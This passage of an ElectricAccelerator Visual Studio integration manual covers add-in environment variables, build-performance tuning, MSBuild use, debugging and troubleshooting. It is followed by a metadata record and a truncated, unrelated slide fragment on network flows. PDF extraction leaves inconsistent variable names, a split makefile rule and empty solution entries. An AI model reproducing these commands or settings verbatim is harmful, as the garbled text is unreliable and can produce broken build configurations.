add-in. If, for any reason, the add-in cannot build some of your projects, this variable allows you to work around the problem. When using this variable, you may experience an the warning MSB4098. You can ignore this warning because any project references are now converted into additional dependencies. MSBuild, however, does not provide a mechanism to turn off this warning.</td> <td>False</td> </tr> <tr> <td>ECADDIN_DONT_PARSE_PROJECTS</td> <td>DoNotParseProjects</td> <td>This variable takes any non-blank value and its behavior is similar to ECADDIN_SERIALIZE. It calls devenv on each project (the add-in does not convert each project into individual compile/link steps).</td> <td>-</td> </tr> <tr> <td>Environment Variable</td> <td>Variable</td> <td>Description</td> <td>Default</td> </tr> <tr> <td>--------------------------------------------</td> <td>-----------------------------------</td> <td>-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td> <td>---------</td> </tr> <tr> <td>ECADDIN_DONT_RM_TMP_MAKEFILES</td> <td>DoNotDeleteTempMakefiles</td> <td>Retains makefiles created during the build but normally deleted when the build finishes. This environment variable can have any value; it just needs to be set.</td> <td>False</td> </tr> <tr> <td>ECADDIN_DONT_RUN</td> <td>DoNotRun</td> <td>TEST only. Convert makefiles without running eMake.</td> <td>False</td> </tr> <tr> <td>ECADDIN_DONT_USE</td> <td>DisableAddin</td> <td>Disables the add-in. This environment variable can have any value, it just needs to be set. Also, you can disable the add-in on each host by using the Visual Studio Add-in Manager (on the Tools menu). Note: This is a “light-weight” uninstall program that disables one individual machine at a time.</td> <td>False</td> </tr> <tr> <td>ECADDIN_DONT_USE_UNIQUE</td> <td>DoNotUseUniqueNames</td> <td>Does not use unique names for temporary makefiles. Use with ECADDIN_DONT_RM_TMP_MAKEFILES.</td> <td>False</td> </tr> <tr> <td>ECADDIN_ECBREAKPOINT</td> <td>ECBreakpoint</td> <td>Determines whether to invoke ecbreakpoint on failed jobs.</td> <td>False</td> </tr> <tr> <td>ECADDIN_ECBREAKPOINT_PROJECTS</td> <td>ECBreakpointProjects</td> <td>Determines whether to invoke ecbreakpoint for specified projects. Use a semi-colon to delimit projects.</td> <td>-</td> </tr> <tr> <td>ECADDIN_ENABLE_INCREMENTAL_LINK</td> <td>EnableIncrementalLink</td> <td>Inserts a call to ectouch.exe. See Setting Visual Studio Environment Variables.</td> <td>False</td> </tr> <tr> <td>ECADDIN_EXPAND_LINKER_OBJECTS</td> <td>ExpandLinkerObjects</td> <td>Expands linker objects to one line per object. Prevents errors when link line length is exceeded.</td> <td>False</td> </tr> <tr> <td>ECADDIN_FORCE_Z7</td> <td>ForceZ7</td> <td>Enables /Z7 compiler options for all C++ files.</td> <td>False</td> </tr> <tr> <td>Environment Variable</td> <td>Variable</td> <td>Description</td> <td>Default</td> </tr> <tr> <td>----------------------</td> <td>----------------------</td> <td>-----------------------------------------------------------------------------</td> <td>---------</td> </tr> <tr> <td>ECADDIN_INCLUDE_CMAKELISTS</td> <td>IncludeCMakeLists</td> <td>Excludes any source file with the name CMakeLists.txt. Set this variable to True to execute the file.</td> <td>False</td> </tr> <tr> <td>ECADDIN_MAX_PDB_FILES</td> <td>MaxPDBFiles</td> <td>Specifies the maximum number of PDB files produced. See Optimize Parallelization Using PDB Splitting.</td> <td>16</td> </tr> <tr> <td>ECADDIN_MSBUILD_DIR</td> <td>MSBuildDir</td> <td>Path to the location of msbuild.exe if different from the default.</td> <td>-</td> </tr> <tr> <td>ECADDIN_MSBUILD_PARAMETERS</td> <td>MSBuildParameters</td> <td>Adds extra parameters to msbuild command line.</td> <td>-</td> </tr> <tr> <td>ECADDIN_NORMALIZE_PATHS</td> <td>NormalizePaths</td> <td>Normalizes all paths in the makefile.</td> <td>True</td> </tr> <tr> <td>ECADDIN_REMOVE_DEPENDENCIES</td> <td>RemoveDependencies</td> <td>Removes project-to-project dependencies to improve parallelization.</td> <td>True</td> </tr> <tr> <td>ECADDIN_RUN_DEPLOYMENT_PROJECTS_LOCALLY</td> <td>RunDeploymentLocally</td> <td>Runs deployment projects locally using #pragma runlocal.</td> <td>False</td> </tr> <tr> <td>ECADDIN_RUN_LOCAL_LINK</td> <td>RunLocalLink</td> <td>A list of projects where the linker will be run locally (using #pragma runlocal).</td> <td>-</td> </tr> <tr> <td>ECADDIN_RUN_LOCAL_PROJECT</td> <td>RunLocalProject</td> <td>Use this variable if your build uses a local resource (for example, a resource only on the Electric Make host (for example, a database). You do not need to set this variable if your project build includes web deployment; this is handled by the add-in. The value of this variable is a list of project names separated by semicolons. Each project name must be the unique Visual Studio identifier for the project (for example, solution1/project1.vcproj). Do not add quotation marks or white spaces.</td> <td>-</td> </tr> <tr> <td>Environment Variable</td> <td>Variable</td> <td>Description</td> <td>Default</td> </tr> <tr> <td>-----------------------</td> <td>------------------------------------------</td> <td>-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td> <td>---------</td> </tr> <tr> <td>ECADDIN_SERIALIZE</td> <td>SerializeAllProjects</td> <td>Causes each project to be built serially. It inserts <code>#pragma allserial</code> into each makefile. This variable is equivalent to setting ECADDIN_DONT_PARSE_PROJECTS.</td> <td>False</td> </tr> <tr> <td>ECADDIN_UP_TO_DATE_CHECK</td> <td>UpToDatecheck</td> <td>Pre-parses the projects to determine whether there is anything to build. Prevents unnecessary rebuilding of static build steps.</td> <td>False</td> </tr> <tr> <td>ECADDIN_USE_DEENV</td> <td>UseDevenv</td> <td>Uses <code>devenv</code> (rather than <code>msbuild</code>) for all unparsed projects.</td> <td>False</td> </tr> <tr> <td>ECADDIN_USE_DEENV_FOR_PROJECT</td> <td>UseDevenvForProject</td> <td>Uses <code>devenv</code> (rather than <code>msbuild</code>) to build specific projects. Supply a list of projects (separated by a semicolon) to be built with <code>devenv</code>.</td> <td>-</td> </tr> <tr> <td>ECADDIN_USE_LEGACY_CODE</td> <td>UseLegacyCode</td> <td>Use this variable to workaround a Visual Studio bug where AdditionalLibraryDirectories does not give the correct value.</td> <td>False</td> </tr> <tr> <td>ECADDIN_USE_MSBUILD</td> <td>UseMSBuild</td> <td>Allows you to use <code>msbuild</code> internally for projects that the add-in cannot parse.</td> <td>True</td> </tr> <tr> <td>ECADDIN_USE_ORDER_ONLY_PREREQS</td> <td>UseOrderOnlyPreReqs</td> <td>Uses order only prerequisites (available in Accelerator v7.0 and later). This allows for quicker first time (no history) builds.</td> <td>True</td> </tr> <tr> <td>ECADDIN_USE_RELATIVE.Paths</td> <td>UseRelativePaths</td> <td>Uses relative paths in the makefile to reduce line lengths.</td> <td>False</td> </tr> <tr> <td>ECADDIN_USE_WCE_MACROS</td> <td>UseWCEMacros</td> <td>Loads platform macros.</td> <td>False</td> </tr> <tr> <td>ECADDIN_XBOX_INSTALL_DIR</td> <td>XBoxInstallDir</td> <td>Path to the location of Xbox SDK if different from the default.</td> <td>-</td> </tr> <tr> <td>ECADDIN_XBOX_VERSION</td> <td>XBoxVersion</td> <td>Xbox SDK version if different from the default.</td> <td>-</td> </tr> </tbody> </table> Chapter 10: Performance Tuning The add-in has several methods for improving performance. To determine which is best for your situation, generate an annotation file and open it in ElectricInsight. To generate an annotation file, pass `--make-annodetail=basic,file,lookup,env` to your eMake call. By default, the annotation file is named `emake.xml`. Available methods: - Improve Build Time for /Zi + PCH Builds - Improve Build Time for Solutions with Many Projects - Improve Final Link Time - Improve Incremental Build Time - Improve Incremental Linking Time - Optimize Parallelization Using PDB Splitting Improve Build Time for /Zi + PCH Builds The default configuration for VC++ projects is /Zi and using PCH. To parallelize this combination, the add-in splits PDB and duplicates PCH. However PCH files are usually very large and may negate any improvement parallelization offers. To improve build time in these circumstances: 1. **Set ECADDIN_FORCE_Z7=true** This is the single most effective way to improve build speed. 2. **Set ECADDIN_DISALLOW_PCH** This turns off PCH but may result in build failures that can be fixed in code only. 3. **Reduce ECADDIN_MAX_PDB_FILES** Reducing this setting reduces parallelism but decreases the time spent copying PCH files. Improve Build Time for Solutions with Many Projects Some very large solutions with few inter-project dependencies may benefit from not parsing the project down to the project item level. Follow these steps: 1. Set `ECADDIN_DONTPARSE_PROJECTS=true` 2. Clear history. 3. Rebuild. Although you lose find-grain parallelism, the reduced overhead may reduce the overall build time. **Improve Final Link Time** Many typical solutions have a final link (or lib) that is very large and slow on the cluster. To perform this link locally, set `ECADDIN_RUNLOCAL_LINK=<project>`. **IMPORTANT:** Running projects locally with `#pragma runlocal` may cause other issues. When running with `#pragma runlocal`, only changes in the current working directory are recognized by EFS, so it is not advised if there are subsequent jobs that use files outside of the CWD. **Improve Incremental Build Time** By default, the add-in always rebuilds prebuild events. If you have a prebuild event that touches files, it could potentially rebuild far more than Visual Studio would. To prevent this, set `ECADDIN_UPTO_DATECHECK=true`. This first checks whether there is anything out of date. If not, nothing will be built including the prebuild event. **Improve Incremental Linking Time** **Using the Add-in** Visual Studio supports incremental linking with the `/INCREMENTAL` linker option. This does not function in eMake because eMake updates the timestamp of the exe/dll when it copies it back to the build machine (from the agent) to prevent any problems due to clock skew. To work around this problem, we can “touch” the exe after the link with its current timestamp. This explicit modification of the timestamp instructs eMake to preserve the timestamp, hence keeping the validity of its incremental status. To enable this feature with the add-in, set `ECADDIN_ENABLEINCREMENTALLINK=true`. This inserts a call to `ectouch.exe`, which performs the action stated above. `ectouch.exe` should be installed in the `PATH`. **Not Using the Add-in** If you are not using the add-in, you can still use this feature. You can rename `ectouch.exe` to `eclink.exe` and replace occurrences of `link.exe` with `eclink.exe`. `eclink.exe` should be in the `PATH`. Alternatively, you can rename `link.exe` to `link_ec.exe` and copy `eclink.exe` to `link.exe`. (If you want something other than `link_ec.exe`, set `ECORIGINALLINKPATH` to the location of the “real” `link.exe`.) **Optimize Parallelization Using PDB Splitting** **Using the add-in** By default, Visual Studio puts all debugging information in a centralized database (PDB) called vc80.pdb (this is Visual Studio version-specific). Because each compilation modifies this file, everything in the project is serialized. A workaround is to group debug information into multiple PDB files. You can accomplish this automatically if you use the add-in. `ECADDIN_MAXPDBFILES` is set to 16 by default. You can change this value to be equal to or less than the number of agents, but you may need to increase or decrease this for optimal efficiency. `ECADDIN_MAXPDBFILES` specifies the maximum number of PDB files produced. Each file is placed into a PDB determined by a hash of its filename. This method ensures that a particular file is always placed in the same PDB. This is necessary to ensure eMake’s history file remains valid. For example, if a project contains 4 files, `File1.cpp`, `File2.cpp`, and so on, and they are all serialized on PDB file `vc80.pdb`. Set `ECADDIN_MAX_PDB_FILES=2` will create (at most) 2 PDB files: `File1.cpp` → `<ProjectName>_0.pdb` `File2.cpp` → `<ProjectName>_1.pdb` `File3.cpp` → `<ProjectName>_0.pdb` `File4.cpp` → `<ProjectName>_1.pdb` In this example, `File1` and `File3` will be serialized against each other but will build in parallel from `File2` and `File4` (which will be serialized against each other). You can change this variable in the Visual Studio IDE Add-in solution settings. Go to the Performance section of the Add-in pane. The history file must be deleted when adding or changing the value of `ECADDIN_MAX_PDB_FILES`. You can also set `--emake-history=create`. **Not Using the Add-in** This technique can be used without using the add-in. This distribution contains the application `hashstr.exe`, which hashes the filename and returns the bucket number. You can use this in your makefile to set the PDB filename (using `/fd`) in the same manner as above. Precompiled headers must be switched off for this to work. **Usage:** `hashstr "mystring" [modulus]` Where `mystring` is the string from which to generate the hash value, and `modulus` is the number of hash bins you want to use. You can add this to a pattern rule for builds that suffer from performance degradation due to PDB serialization, with something similar to the following: ``` %.o: %.c $(CC) /c $(cflags) $(PCH_USE_FLAGS) $(cvars) $(cplus_flags) $(LOCAL_INCLUDE) $(P CB_INCLUDE) $< /Fo$@ /Fd$(shell $(path-to-hashstr)/hashstr.exe "$@" $(hashstr-mo dulus))).pdb ``` Chapter 11: Using MSBuild ElectricAccelerator cannot parallelize msbuild project files. If you have multiple msbuild projects, however, you can create a makefile to build them in parallel. For example: ```bash all: project1 project2 project1 msbuild myproject.csproj /t:build project2: msbuild myproject.csproj /t:build ``` Then run: ```bash emake -f makefile --emake-emulation=nmake --emake-cm=<your cm> ``` For C++ projects, call devenv (or ecdevenv) to parallelize those projects down to the project item level. If you use a top-level msbuild script that builds separate projects, convert that to NMAKE in the format above to achieve parallelization under eMake. Although Visual Studio 6 does not have an add-in, you can parallelize such builds using the built-in option to generate NMAKE makefiles. See http://ask.electric-cloud.com/questions/441/how-do-i-export-visual-studio-6-projects. One-Time Export Consider exporting make files (.mak) for the project and building the project using the NMAKE utility. To export a makefile, select Export Makefile from the Project menu in the Developer Studio. This is a one-time export, after which makefiles and Project files would potentially diverge. To avoid makefiles and Project files diverging, instruct Visual Studio 6 to export makefiles automatically whenever the project changes: 1. Go to the Tools menu and click Options. 2. On the Build tab, select Export Makefile when saving the project file. On-the-fly Export Makefiles can be generated from .dsw files via the command-line using the following technique documented on MSDN: http://msdn.microsoft.com/en-us/library/aa260829.aspx#autobld_export. DevStudio provides some built-in commands for automation. To see a list of these commands, select Customize under the Tools menu and choose the Keyboard tab. The commands under the respective categories are listed. These commands can be launched in the same way that add-ins and macro commands are launched. To export a makefile for all projects in a workspace, do the following from the command line: msdev.exe MyProject.dsw -execute BuildProjectExport Note: The command supplied using the -execute option is case sensitive. DevStudio should be in the path; otherwise, specify full path in the preceding statement. The above will launch DevStudio, open the MyProject.dsw workspace file, and then export the makefile for all of the projects. There is a drawback in doing this—you will see the Export Makefile dialog box. The same can also be accomplished using the following VBScript macro: Sub ExportMakFile 'Export the makefile ExecuteCommand "BuildProjectExport" 'Close the workspace ExecuteCommand "WorkspaceClose" 'Exit from DevStudio Quit End Sub Chapter 13: Debugging First steps to take when debugging a failed build: - Double-check that the build works under Visual Studio. - Check Troubleshooting and ask.electric-cloud.com. If the previous steps do not help you debug your build: 1. Set ECADDIN_DEBUG=true and ECADDIN_DEBUG_LOG_NAME=<filename> 2. Rerun the build. The <filename> will exist on the machine that performed the conversion. When using ecevenv, this will be the local machine. When running devenv or ecevenv remotely, the file will exist on the remote machine. Chapter 14: Troubleshooting Make Sure You Initialize Visual Studio If you don't virtualize the toolchain, you must initialize Visual Studio on every agent host for each ECloudInternalUser. Each Accelerator agent runs as user ECloudInternalUser1, ECloudInternalUser2, etc. Log in to each user and run Visual Studio and do the following: 1. Go to Tools > Options, Project and Solutions > Build and Run. 2. Set the maximum number of parallel project builds to 1. 4. Initialize the ‘Customer Experience Improvement Program’ to either yes or no. If you continue to encounter issues, go to the Electric Cloud ElectricAccelerator Knowledge Base and search for “Visual Studio”. Also refer to ask.electric-cloud.com for answers to common issues with emake and the Visual Studio Integration. Common Issues Check this list of commonly encountered issues after you verify that Visual Studio has been initialized properly: - Visual Studio is missing the Electric Cloud menu - Application Data folder could not be created. make: *** [all] - For VS2005 SP1 builds, the build is not broken up and runs as one large job - Build terminated with “not making progress” error - Visual Studio quits immediately at the start of the build - Error “devenv’ not found” is displayed - For VS2010/msbuild 4.0 builds, each project is taking around 15 minutes - Error “Unable to build specified project' or missing file errors - Error “msbuild not found” - Missing DLL errors or Visual Studio installation is corrupt - Error "command line too long" - The build is slow (not parallelized) and/or each line of the build output is prefixed with 1>, 2>, etc ElectricAccelerator - Error: '|' not recognized - When virtualizing the Visual Studio toolchain, regsvr32 fails trying to register a DLL that uses debug CRT DLLs - Particular projects do not build under eMake - Electric Cloud menu in Visual Studio is grayed out (disabled) - Invalid macro invocation '$' build error - Using Visual Studio 2010, a project fails at link when using the Add-in but succeeds when using Visual Studio alone - Upgrading only cluster agents to Accelerator v7.0 may result in an error Visual Studio is missing the Electric Cloud menu Description The VS IDE Add-in is installed, but the Electric Cloud menu is missing and the Tools menu item is corrupted (shows "Electric Cloud"). The add-in may throw an exception similar to the following: 3: Error: Adding Build menu item: Could not load file or assembly 'stdole, Version=7.0.3300.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' or one of its dependencies. The system cannot find the file specified. Cause This occurs because the add-in requires stdole.dll to be installed and registered. Solution 1. Close all instances of Visual Studio. 2. Uninstall the add-in from Control Panel. 3. Open a command prompt and register the DLL manually (Adjust the path to gacutil.exe accordingly): "%PROGRAMFILES%\Microsoft SDKs\Windows\v7.0A\Bin\gacutil.exe" -i "%PROGRAMFILES%\Common Files\Microsoft Shared\MSEnv\PublicAssemblies\stdole.dll" Run Visual Studio and check if the Electric Cloud menu is present. 5. Run: devenv.exe /ResetSettings This resets the menus. 6. Re-install the add-in and run Visual Studio. Application Data folder could not be created. make: *** [all] Cause The current user does not have an account on the agent that is running devenv.exe. Solution Virtualize the Visual Studio toolchain or set `--emake-exclude-env=USERPROFILE`. For VS2005 SP1 builds, the build is not broken up and runs as one large job **Cause** The hotfix for VS2005 SP1 is not installed. **Solution** Build terminated with “not making progress” error **Cause** There are many reasons for this error. It usually occurs when a build has shown a modal dialog (that is not visible to the build user) and is waiting for input. **Solution** Visual Studio quits immediately at the start of the build **Cause** You are running the wrong version of Visual Studio for your build. **Solution** Ensure the environment is setup for the version of Visual Studio you are using. Error “‘devenv’ not found” is displayed **Cause** Visual Studio is not installed on the agent or is not in the same location as the build machine. **Solution** Install Visual Studio on the agent or set the PATH to reflect the installation directory on the agent. For VS2010/msbuild 4.0 builds, each project is taking around 15 minutes **Cause** MSBuild v4.0 does not exit immediately after a build for performance reasons. **Solution** Set `MSBUILDNODECONNECTIONTIMEOUT=0`. Error “Unable to build specified project' or missing file errors **Cause** The missing project or files are not in the eMake root. **Solution** Make sure all files are either present on the agent, or in the emake root. Error “msbuild not found” **Cause** .NET is not installed on the agent. **Solution** Install the relevant version of .NET on all agents. Missing DLL errors or Visual Studio installation is corrupt **Cause** C++ redistributable is not installed on the agent. **Solution** Install the relevant redistributable for the version of Visual Studio you’re using on the agents. Error "command line too long" **Cause** The add-in has generated a command line that is too long. **Solution** If the error occurs during linking, set `ECADDIN_EXPAND_LINKER_OBJECTS=true`, otherwise set `ECADDIN_USE_RELATIVE_PATHS=true` in your environment. The build is slow (not parallelized) and/or each line of the build output is prefixed with 1>, 2>, etc **Cause** The build is not using the add-in. The 1>, 2> is an indication that devenv is being used. **Solution** Check that the VS Converter Add-in is installed on the agents or build machine. (Go to Tools > Add In Manager.) For VS2005 SP1, check if the hotfix is installed (see above). Check for other third-party add-ins on the agents. The VS Converter Add-in may not be compatible with other build-related add-ins. **Error: ‘|’ not recognized** **Cause** You are using an older Accelerator version (pre 7.0) that doesn't recognize order only prerequisites. **Solution** Turn off ECADDIN_USE_ORDER_ONLY_PREREQS. **When virtualizing the Visual Studio toolchain, regsvr32 fails trying to register a DLL that uses debug CRT DLLs** **Cause** These SxS DLLs cannot be virtualized and are not part of the Visual Studio redistribution. **Solution** Do one of the following: - Copy debug DLLs from `<VSINSTALLDIR>\VC\redist\Debug_NonRedist` to the target directory (the location of the DLL that is being registered) - Copy Microsoft.VC90.DebugCRT.manifest and msvcr90d.dll from `<VSINSTALLDIR>\VC\redist\Debug_NonRedist\x86\Microsoft.VC90.DebugCRT` **Particular projects do not build under eMake** **Solution** Use ECADDIN_DONT_PARSE_PROJECT to specify the offending projects. Use either the project name or the project path as shown in the solution file. Electric Cloud menu in Visual Studio is grayed out (disabled) Cause This may occur if you install Visual Studio after installing the add-in. Visual Studio’s setup routine has not initialized the add-in. Also, the debug log will contain: AddCommandControls failed for Build: The parameter is incorrect. (Exception from HRESULT: 0x80070057 (E_INVALIDARG)) Solution Open a Visual Studio 2010 or later command prompt as administrator and type: devenv /setup Invalid macro invocation '$' build error Cause An NMAKE limitation treats the dollar sign ($) as a special character that precedes a macro name. It is not possible to use '$' in a preprocessor definition unless the number of '$' is even. Solution Either avoid having to use the single dollar sign ($), or specify it by using a double dollar sign ($$). Using Visual Studio 2010, a project fails at link when using the Add-in but succeeds when using Visual Studio alone Description You encounter this error: LINK : fatal error LNK1123: failure during conversion to COFF: file invalid or corrupt Solution Upgrade Visual Studio to 2010 SP1. Upgrading only cluster agents to Accelerator v7.0 may result in an error Cause When upgrading the cluster agents only to Accelerator v7.0, be advised that an older eMake client will run the same version of eMake on the agent (if it is available). This may result in the following error: NMAKE : fatal error U1073: don't know how to make '|' Solution Do one of the following: - Upgrade the local eMake client to 7.0 or later (recommended). - Set ECADDIN_USE_ORDER_ONLY_PREREQS=false in your environment. Index B build locally 6-3 multiple solution and projects 7-2 C common issues 14-1 Converter Add-in 8-1 known issues 3-1 upgrading 2-1 what's new 2-1 create makefile 8-1 D debugging 13-1 E ecodevenv 7-1 eMake 6-1 environment variables 9-1 I IDE Add-in installation 5-1 what's new 2-1 initialize Visual Studio 14-1 Insight 6-1, 6-2 installation 5-1 options 5-2 silent 5-1 main menu 6-2 msbuild 11-1 P performance optimization Visual Studio 10-1 prerequisites 4-1 S settings advanced 6-14 command line 6-15 debug 6-12 options 6-11 supported versions 4-1 T toolbar 6-2 toolchain virtualization 7-2 troubleshooting 14-1 U upgrading 2-1 V virtualization toolchain 7-2 Visual Studio performance optimization 10-1 supported versions 4-1 Visual Studio 6 12-1 what's new Converter Add-in 2-1 IDE Add-in 2-1
{"Source-Url": "https://storage.googleapis.com/cloudbees-docsite-downloads-production/docs/electric-cloud/visualstudio_doc/4_1_2/PDF/VisualStudioIntegrationGuide_4_1_2.pdf?X-Goog-Algorithm=GOOG4-RSA-SHA256&X-Goog-Credential=docsite-server-app%40ops-production-294812.iam.gserviceaccount.com%2F20210925%2Fauto%2Fstorage%2Fgoog4_request&X-Goog-Date=20210925T001031Z&X-Goog-Expires=3600&X-Goog-SignedHeaders=host&X-Goog-Signature=589a766922f3d7e6a21fb5ab2976e7646811187815c635224aeae617f93e8e7b7dfe0e8ad75f53e7ffc33cc8c3af0a63a0ef9cbfa55554743053d65aa4a0c9dc496a03ec8838bd0265280df16ed843b73ec11d613bc8f3bd3bb50b4fc39be65c130df9273e64e4cd03f553ac791582c29b066f431cbf1c1c8781eb2152be067862ca51322affe54bff164cc81d08bb4a6a92c8997e4f1dd31f4c3abcb03e7cf54a6a461bd54e312376e4b51c2f97426cf7784234b30903c0f4a6a9e0b157e4a6fb874c2d4ca2acad2b68e056e2247d40e74984ec9108252ac90aae21d789cc5cd064fa780923c9b016e49dcdd5f803224914640f4acf14763b5f146c93a9016f", "len_cl100k_base": 16139, "olmocr-version": "0.1.53", "pdf-total-pages": 55, "total-fallback-pages": 0, "total-input-tokens": 172066, "total-output-tokens": 17968, "length": "2e13", "weborganizer": {"__label__adult": 0.0002465248107910156, "__label__art_design": 0.0004417896270751953, "__label__crime_law": 0.00016868114471435547, "__label__education_jobs": 0.0007314682006835938, "__label__entertainment": 8.273124694824219e-05, "__label__fashion_beauty": 8.83340835571289e-05, "__label__finance_business": 0.0003173351287841797, "__label__food_dining": 0.00012135505676269533, "__label__games": 0.001007080078125, "__label__hardware": 0.0006260871887207031, "__label__health": 9.54270362854004e-05, "__label__history": 0.0001308917999267578, "__label__home_hobbies": 8.70823860168457e-05, "__label__industrial": 0.00019800662994384768, "__label__literature": 0.00014495849609375, "__label__politics": 0.00011456012725830078, "__label__religion": 0.00024580955505371094, "__label__science_tech": 0.00182342529296875, "__label__social_life": 6.186962127685547e-05, "__label__software": 0.06634521484375, "__label__software_dev": 0.9267578125, "__label__sports_fitness": 0.00014352798461914062, "__label__transportation": 0.00013709068298339844, "__label__travel": 0.00012922286987304688}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 70826, 0.01855]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 70826, 0.26234]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 70826, 0.74746]], "google_gemma-3-12b-it_contains_pii": [[0, 0, null], [0, 2017, false], [2017, 5556, null], [5556, 5556, null], [5556, 5556, null], [5556, 6640, null], [6640, 8200, null], [8200, 8280, null], [8280, 10524, null], [10524, 11368, null], [11368, 11481, null], [11481, 13080, null], [13080, 14276, null], [14276, 15124, null], [15124, 17315, null], [17315, 18299, null], [18299, 18551, null], [18551, 19281, null], [19281, 19914, null], [19914, 20459, null], [20459, 20749, null], [20749, 22180, null], [22180, 23717, null], [23717, 23789, null], [23789, 25383, null], [25383, 26251, null], [26251, 26491, null], [26491, 27785, null], [27785, 28375, null], [28375, 29897, null], [29897, 31807, null], [31807, 33235, null], [33235, 34694, null], [34694, 35011, null], [35011, 36385, null], [36385, 38633, null], [38633, 41363, null], [41363, 44751, null], [44751, 46760, null], [46760, 50493, null], [50493, 51985, null], [51985, 55138, null], [55138, 56802, null], [56802, 57487, null], [57487, 59547, null], [59547, 59560, null], [59560, 60095, null], [60095, 61770, null], [61770, 63695, null], [63695, 65449, null], [65449, 66728, null], [66728, 68335, null], [68335, 69944, null], [69944, 70779, null], [70779, 70826, null]], "google_gemma-3-12b-it_is_public_document": [[0, 0, null], [0, 2017, true], [2017, 5556, null], [5556, 5556, null], [5556, 5556, null], [5556, 6640, null], [6640, 8200, null], [8200, 8280, null], [8280, 10524, null], [10524, 11368, null], [11368, 11481, null], [11481, 13080, null], [13080, 14276, null], [14276, 15124, null], [15124, 17315, null], [17315, 18299, null], [18299, 18551, null], [18551, 19281, null], [19281, 19914, null], [19914, 20459, null], [20459, 20749, null], [20749, 22180, null], [22180, 23717, null], [23717, 23789, null], [23789, 25383, null], [25383, 26251, null], [26251, 26491, null], [26491, 27785, null], [27785, 28375, null], [28375, 29897, null], [29897, 31807, null], [31807, 33235, null], [33235, 34694, null], [34694, 35011, null], [35011, 36385, null], [36385, 38633, null], [38633, 41363, null], [41363, 44751, null], [44751, 46760, null], [46760, 50493, null], [50493, 51985, null], [51985, 55138, null], [55138, 56802, null], [56802, 57487, null], [57487, 59547, null], [59547, 59560, null], [59560, 60095, null], [60095, 61770, null], [61770, 63695, null], [63695, 65449, null], [65449, 66728, null], [66728, 68335, null], [68335, 69944, null], [69944, 70779, null], [70779, 70826, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 70826, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 70826, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 70826, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 70826, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 70826, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 70826, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 70826, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 70826, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 70826, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 70826, null]], "pdf_page_numbers": [[0, 0, 1], [0, 2017, 2], [2017, 5556, 3], [5556, 5556, 4], [5556, 5556, 5], [5556, 6640, 6], [6640, 8200, 7], [8200, 8280, 8], [8280, 10524, 9], [10524, 11368, 10], [11368, 11481, 11], [11481, 13080, 12], [13080, 14276, 13], [14276, 15124, 14], [15124, 17315, 15], [17315, 18299, 16], [18299, 18551, 17], [18551, 19281, 18], [19281, 19914, 19], [19914, 20459, 20], [20459, 20749, 21], [20749, 22180, 22], [22180, 23717, 23], [23717, 23789, 24], [23789, 25383, 25], [25383, 26251, 26], [26251, 26491, 27], [26491, 27785, 28], [27785, 28375, 29], [28375, 29897, 30], [29897, 31807, 31], [31807, 33235, 32], [33235, 34694, 33], [34694, 35011, 34], [35011, 36385, 35], [36385, 38633, 36], [38633, 41363, 37], [41363, 44751, 38], [44751, 46760, 39], [46760, 50493, 40], [50493, 51985, 41], [51985, 55138, 42], [55138, 56802, 43], [56802, 57487, 44], [57487, 59547, 45], [59547, 59560, 46], [59560, 60095, 47], [60095, 61770, 48], [61770, 63695, 49], [63695, 65449, 50], [65449, 66728, 51], [66728, 68335, 52], [68335, 69944, 53], [69944, 70779, 54], [70779, 70826, 55]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 70826, 0.12364]]}
olmocr_science_pdfs
2024-12-12
2024-12-12
e8c92abec9f7f4b41465fd5e88ba9f1528c7c55c
Network Flows Admin/Announcements • CS Preregistration Info Session during Colloquium. Learn about: • courses offered next semester • major applications & forms • thesis applications & timelines • study abroad guidelines • TAs and becoming a TA • Fill out TA feedback forms by Monday • Submit TA applications by April 21 • Williams Entrepreneurship Summit this Saturday! Story So Far • Algorithmic design paradigms: • **Greedy**: often simplest algorithms to design, but only work for certain limited class of optimization problems • A good initial thought for most problems but rarely optimal • **Divide and Conquer** • Solving a problem by breaking it down into smaller subproblems and (often) combining results • **Dynamic programming** • Recursion with memoization: avoiding repeated work • Trade space (memoization structure representation) for time (reuse stored results of repeated computations) New Algorithmic Paradigm • **Network flows** model a variety of optimization problems • These optimization problems look complicated with lots of constraints • At first they may seem to have nothing to do with networks or flows! • Very powerful problem solving frameworks • We'll focus on the concept of **problem reductions** • Problem A reduces to B if a solution to B leads to a solution to A • We'll learn how to prove that our reductions are correct What’s a Flow Network? - A flow network is a directed graph $G = (V, E)$ with a - A **source** is a vertex $s$ with in-degree 0 - A **sink** is a vertex $t$ with out-degree 0 - Each edge $e \in E$ has **edge capacity** $c(e) > 0$ Assumptions • Assume that each node $v$ is on some $s$-$t$ path, that is, $s \rightsquigarrow v \rightsquigarrow t$ exists, for any vertex $v \in V$ • Implies $G$ is connected and $m \geq n - 1$ • Assume capacities are positive integers • Will revisit this assumption & what happens otherwise • Directed edge $(u, v)$ written as $u \rightarrow v$ • For simplifying expositions, we will sometimes write $c(u \rightarrow v) = 0$ when $(u, v) \notin E$ What’s a Flow? - Given a flow network, an \((s, t)\)-flow or just flow (if source \(s\) and sink \(t\) are clear from context) \(f : E \rightarrow \mathbb{Z}^+\) satisfies the following two constraints: - **[Flow conservation]** \(f_{in}(v) = 